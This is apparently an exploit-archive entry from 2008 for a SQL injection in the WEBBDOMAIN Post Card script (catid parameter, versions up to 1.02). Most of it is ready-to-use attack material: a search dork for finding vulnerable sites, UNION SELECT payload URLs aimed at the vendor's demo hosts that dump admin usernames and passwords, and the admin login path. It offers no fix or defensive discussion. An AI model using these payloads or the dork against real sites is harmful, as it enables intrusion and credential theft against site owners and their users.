WEBBDOMAIN Post Card <= 1.02 (catid) SQL Injection Vulnerability

2008-11-04T00:00:00
ID 1337DAY-ID-4054
Type zdt
Reporter Hussin X
Modified 2008-11-04T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ================================================================
WEBBDOMAIN Post Card <= 1.02 (catid) SQL Injection Vulnerability
================================================================


post Card ( catid )  Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X
___________________________________

script    : http://webbdomain.com/php/postcarden/index2.php
script    : http://webbdomain.com/php/postcardir/index2.php

DorK   : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______

post Card  v 1.01

http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


post Card  v 1.02
http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


Note : Exploit in Properties  Picture


Login :
______
/admin



#  0day.today [2018-02-16]  #